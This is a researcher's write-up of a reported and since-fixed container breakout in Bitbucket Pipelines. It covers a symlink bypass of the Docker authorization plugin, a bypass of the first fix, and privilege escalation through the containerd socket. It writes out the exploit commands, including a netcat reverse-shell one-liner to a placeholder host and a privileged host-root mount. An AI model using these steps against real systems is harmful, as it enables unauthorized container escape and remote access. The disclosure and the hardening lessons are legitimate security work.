Containers, Docker containers in particular, are deployed everywhere these days. This is especially true in build environments or your typical CI/CD pipeline. A frequent requirement in these environments is the ability to build Docker container images, which tends to introduce security vulnerabilities through misconfiguration. One typically finds that the docker daemon is exposed to allow for so-called docker-in-docker builds, which I’ve previously shown can easily lead to container breakout. This means I’m always on the lookout for possible places that the Docker daemon/API might be directly accessible.

While playing around with Bitbucket Pipelines and the provided option of building Docker images from a Dockerfile in your repository. This functionality is really easy to access, you simply add services: - docker to your bitbucket-pipelines.yml file and the pipeline environment will be configured with access to a Docker daemon. At first glance this seems too good to be true, and easily exploitable, however, reading a bit further into the documentation you quickly discover that the Docker daemon is locked down.

Restrictions

The team from Atlassian have thought about this and ensured that none of the usual vectors for elevating privileges via containers are exposed. From their documentation:

The security of your data is really important to us, especially when you are trusting it to the cloud. To keep everybody safe we’ve restricted the following:

For docker container run/docker run we don’t allow:

  • privileged
  • device
  • mount
  • volume (other than /opt/atlassian/bitbucketci/agent/build/.* or /opt/atlassian/pipelines/agent/build/.*)
  • pid
  • ipc
  • uts
  • userns
  • security-opt
  • cap-add

For docker container update/docker update we don’t allow:

  • devices

For docker container exec/docker exec we don’t allow:

  • privileged

For docker image build/docker build we don’t allow:

  • security-opt

If you attempt the classic breakout of using --privileged you immediately get an error response:

$ docker run -it --privileged -v /:/rootfs alpine:latest /bin/sh
docker: Error response from daemon: authorization denied by plugin pipelines: --privileged=true is not allowed

Foiled, and not having seen that error message before, I wanted to see what the response was when trying to only mount the root directory.

$ docker run -it -v /:/rootfs alpine:latest /bin/sh
docker: Error response from daemon: authorization denied by plugin pipelines: -v only supports $BITBUCKET_CLONE_DIR and its subdirectories

Again, ‘access denied by plugin pipelines’:

Access denied by plugin

Access denied by plugin

Docker Plugins

At this point, I had run into something I knew nothing about, Docker plugins and it was time to do some research. It transpires that Docker has a plugin system that allows you to extend Docker (this should have been obvious to me, but I had no idea). The particular plugin that was in play here was an “Access authorization plugin” or AuthZ plugin.

The basic gist of this is

An authorization plugin approves or denies requests to the Docker daemon based on both the current authentication context and the command context.

and you can read all the technical details here: https://docs.docker.com/engine/extend/plugins_authorization/#basic-principles. In the case of Bitbucket, there is a plugin called pipelines which is checking the Docker command and preventing execution based on the above mentioned restrictions. This meant I would need to find someway to bypass it. I figured the most likely restriction that could be bypassable would be the volume restriction, since this is a string match, whereas the other restrictions are a simple boolean match.

Bypassing Step 1 - Mounting /

The restriction imposed is that we can only pass $BITBUCKET_CLONE_DIR AKA /opt/atlassian/pipelines/agent/build (and its subdirectories) as a volume mount. Now the $BITBUCKET_CLONE_DIR in itself is a volume mount into the build Docker container that Bitbucket provides us with (remember we are doing a docker-in-docker build). While this directory is accessible to us, inside the container, it also exists in the same place outside the container. At the same time, the Docker daemon is also running outside the container. This got me thinking, if the daemon is outside the container, then surely it can mount directories outside the container, which is why $BITBUCKET_CLONE_DIR also needs to be available to the daemon (outside the container). The next question was, would the daemon follow a symlink and mount that, and if so, would this allow me to bypass the AuthZ plugin?

The general picture I had in my head was as follows, hopefully this kind of makes sense. Essentially there is a Docker container, in which everything else “runs”, including the docker daemon and the container the build is happening inside.

+----------------------------------+-----------------------------------------------+
|                   Dind container - This is where the Docker daemon runs          |
|                                                                                  |
| +-----------------+                    +---------------------------------------+ |
| |                 |                    |                                       | |
| |                 +-------------------->  Dind container filesystem            | |
| |  docker daemon  |                    |                                       | |
| |                 |                    |                                       | |
| |                 |                    +---------------------------------------+ |
| |                 |                    |                                       | |
| |                 +--------------------> /opt/atlassian/pipelines/agent/build/ | |
| |                 |                    |                                       | |
| |                 |                    +---------------------+-+---------------+ |
| |                 |                                          ^ |                 |
| |                 |                                          | |                 |
| |                 |      +-----------------------------------+-v---------------+ |
| |                 |      |                                                     | |
| |                 |      |                                                     | |
| |                 |      |                                                     | |
| |                 +------>            Build container                          | |
| |                 <------+            (This is where we execute code)          | |
| |                 |      |                                                     | |
| |                 |      |                                                     | |
| +-----------------+      +-----------------------------------------------------+ |
|                                                                                  |
+----------------------------------------------------------------------------------+

I created a symlink inside the $BITBUCKET_CLONE_DIR with the hope that the Docker daemon would follow this when trying to mount the volume into a new container,

$ ln -s / /opt/atlassian/pipelines/agent/build/ln

And then passed this as the volume to mount into a new container:

$ docker run -i -v $BITBUCKET_CLONE_DIR/ln/:/ln alpine:latest /bin/sh

The container started up, since the pipelines AuthZ plugin saw that I was mounting a subdirectory of the allowed $BITBUCKET_CLONE_DIR. And when checking the newly created container, I had access to the dind container’s root (/) directory!

AuthZ plugin bypassed

AuthZ plugin bypassed

Access to / on dind container

Access to / on dind container

The full commands for doing this were the following, everything needs to be done through bitbucket-pipelines.yml. I broke it out into two files, the Dockerfile is downloaded by the pipeline file via curl just to give some flexibility in modifying the payload/container (this was useful in step2).

bitbucket-pipelines.yml

Dockerfile

With this success, I first tried to disable the pipelines AuthZ plugin, since I could now access /var/run/docker/plugins/ I could delete the plugin. But to actually stop it, would require restarting the docker daemon, which I could not do. I decided to submit to the Atlassian Bugbounty program on Bugcrowd and left the severity as blank and a comment the following comment about impact:

I’m a little unsure of the impact, this definitely allows you to do something you aren’t supposed to. I haven’t been able to use this to do too much more though. I tried using it to disable the docker plugins completely, to allow for running –privileged but no such luck. Maybe you have further insight into how this could be an issue.

The next morning I woke up to a message that the report had been triaged as P1 by Bugcrowd and was awaiting review by Atlassian. Don’t get me wrong, I was extremely happy with a P1, but felt a little disappointed that I hadn’t been able to actually prove that it was a P1.

Bypass step 2 - Getting –privileged

With some sleep behind me I decided to revisit the issue and see if this new access could be leveraged to privesc/escape the container. While browsing around the filesystem, the /var/run/docker directory in particular, I noticed that there was a containerd directory, which had two additional unix sockets.

Typical contents of containerd

Typical contents of containerd

Having always used the docker.sock directly, I wasn’t too sure what docker-containerd.sock and docker-containerd-debug.sock were actually used for. Thus another dive into the research rabbit hole.

So what is containerd? Well it is essentially what drives that container magic we all love (at least for Docker),

containerd is an industry-standard core container runtime with an emphasis on simplicity, robustness and portability. It is available as a daemon for Linux and Windows, which can manage the complete container lifecycle of its host system: image transfer and storage, container execution and supervision, low-level storage and network attachments, etc..

-https://containerd.io/

Docker has been using containerd as its “engine” since the v1.11 release. Containerd is an Open Container Initiative (OCI) implementation, allowing you to choose the runtime for your containers (the default for Docker being runC), while still using the familiar Docker interface/API that everyone has grown accustomed to.

The Docker v1.11 release announcement has a good diagram to illustrate how this all fits together:

https://blog.docker.com/2016/04/docker-engine-1-11-runc/

https://blog.docker.com/2016/04/docker-engine-1-11-runc/

Looking at that diagram, I started wondering if I could bypass the AuthZ plugin by first bypassing the Docker API and speaking to containerd directly. I spent some time trying to write my own containerd client. There is a great library available, however I got lazy and figured that there might be a shortcut exploitation, after-all I simply wanted a PoC to prove that I could escalate privileges. After a bit of searching around I came across docker-containerd-ctr. This provides a CLI interface to containerd with most of the functions I require already built in.

NAME:
   ctr -
        __
  _____/ /______
 / ___/ __/ ___/
/ /__/ /_/ /
\___/\__/_/

containerd CLI


USAGE:
   docker-containerd-ctr [global options] command [command options] [arguments...]

VERSION:
   v1.1.2

COMMANDS:
     plugins, plugin           provides information about containerd plugins
     version                   print the client and server versions
     containers, c, container  manage containers
     content                   manage content
     events, event             display containerd events
     images, image, i          manage images
     namespaces, namespace     manage namespaces
     pprof                     provide golang pprof outputs for containerd
     run                       run a container
     snapshots, snapshot       manage snapshots
     tasks, t, task            manage tasks
     shim                      interact with a shim directly
     cri                       interact with cri plugin
     help, h                   Shows a list of commands or help for one command

Exploitation using docker-containerd-ctr

I got my reverse shell back, after first changing the Dockerfile to build using the docker image, so that I could have all the latest versions of the docker binaries available.

The first step was to get the container image downloaded. This also served to test whether I could directly interact with containerd. I created a symlink to the docker-containerd.sock socket, since docker-containerd-ctr expected the containerd socket to be at /run/containerd/containerd.sock (this isn’t really necessary, since there is a –address option but I didn’t want to have to pass the address with each request); Note that we are linking from /ln/run/docker/containerd/docker-containerd.sock, where /ln is the volume mount path we specified in step 1.

$ mkdir /run/containerd
$ ln -s /ln/run/docker/containerd/docker-containerd.sock /run/containerd/containerd.sock
$ docker-containerd-ctr image pull docker.io/library/alpine:latest
Successfully downloading the alpine image

Successfully downloading the alpine image

Next step was to try and create a privileged container. I stumbled a little, with an error about docker-containerd-ctr not being able to create a fifo directory. This could have been because of the container-in-container situation, my initial shell being TTY-less or Bitbucket’s hijack of stdio. This was an easy issue to solve though, simply by passing the --null-io parameter the error went away. Because I couldn’t create an interactive container, I had to go with a reverse shell. The easiest here was to create a shell script, that got mounted into the container and then executed.

Again the trick was to remember to write the shell to /ln so that it would be on the root filesystem where containerd was running, but then to mount / since /ln only existed in the container.

$ echo "mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc x.x.x.x 444 >/tmp/f" > /ln/pew.sh
$ docker-containerd-ctr run --privileged --rm -d --null-io --net-host --mount type=bind,src=/,dst=/host,options=rbind:rw --mount type=bind,src=/pew.sh,dst=/pew.sh,options=rbind:rwx docker.io/library/alpine:latest n /bin/sh /pew.sh

Great success! I received a reverse shell and no access denied messages. The final step was to verify that the container was privileged. I used amicontained to see what capabilities were available to my container (usually a good idea to run this whenever in a container)

First the output from the unprivileged container, and amicontained showed a limited set of capabilities, seccomp filtering enabled and the runtime as docker.

Output from amicontained on unprivileged container

Output from amicontained on unprivileged container

Compared to the new, privileged container. Here amicontained showed that our container had the full set of Linux capabilities, seccomp wasn’t enforced and our runtime had changed to Kube (Pipelines is managed through Kubernetes).

Output from amicontained on privileged container

Output from amicontained on privileged container

The final check was to see if our user in the container could now perform the same actions as root outside the container. For this I did a chroot to the mounted root directory, and ran iptables. On an unprivileged container this should fail with a permission error, while on the privileged container it should allow viewing/modifying iptables.

$ cd /host
$ chroot .
$ iptables -t nat --list

As expected, on the unprivileged container this fails.

Output from iptables command on unprivileged container

Output from iptables command on unprivileged container

While on the privileged container we can view the configured iptables rules.

Output from iptables command on privileged container

Output from iptables command on privileged container

The Fix

I immediately updated my report to Atlassian with the additional information. The team responded that the issue was indeed valid and an hour later had deployed a fix. As with a previous report to Atlassian, the turn-around time of verifying and fixing an issue was outstanding. The pipelines plugin now checked if a supplied path is a symlink, and resolves the symlink before deciding if the volume is allowed to be mounted.

Bypassing the Fix

After initially testing the fix and confirming that a symlink would be checked to ensure it terminates in the $BITBUCKET_CLONE_DIR, I realised it might be possible to bypass the AuthZ plugin in another way.

The first step was to create a symlink in the $BITBUCKET_CLONE_DIR, remember that the plugin checks if the mount path is $BITBUCKET_CLONE_DIR or one of it’s subdirectories. By creating a symlink to / a path of $BITBUCKET_CLONE_DIR/symlink/other would still be seen as valid. I assume what the code was doing was to check if the basename of a path is a symlink (so in this example other), if so, evaluate the symlink and check where it terminates. If the path is not a symlink, then check whether the path starts with $BITBUCKET_CLONE_DIR.

This means the following path would pass the AuthZ plugin while still pointing to a directory outside of the allowed path:

cd $BITBUCKET_CLONE_DIR
ln -s / slash
docker run -i -v `pwd`/slash/run:/pew docker:latest /bin/sh

The /run directory from the host would now be accessible inside the container and the above mentioned use of docker-ctr allows for complete breakout.

The in depth Fix

Atlassian turned on usernamespacing as a defence in depth solution. This meant that even if a container is able to mount in a directory outside of the allowed path, there would not be much that container could do with it. The above attack was now rendered toothless, since namespacing meant that even though the docker-containerd.sock was mounted into the container, it was not accessible in the container namespace and you would receive a permission denied error. This is because the root user in the container is now mapped to the nobody user outside the container, and has no privileges to access sensitive resources.

Conclusion

When performing testing, always remember to check how symlinks are handled, they are often overlooked. Symlinks should always be resolved before any security decisions are made. When testing or securing Docker environments, check that ALL sockets used by Docker are secured. I haven’t seen much mention of docker-containerd.sock in any security hardening guides, but it is worth keeping in mind, especially when you start deploying expensive security solutions that might only work on the Docker API.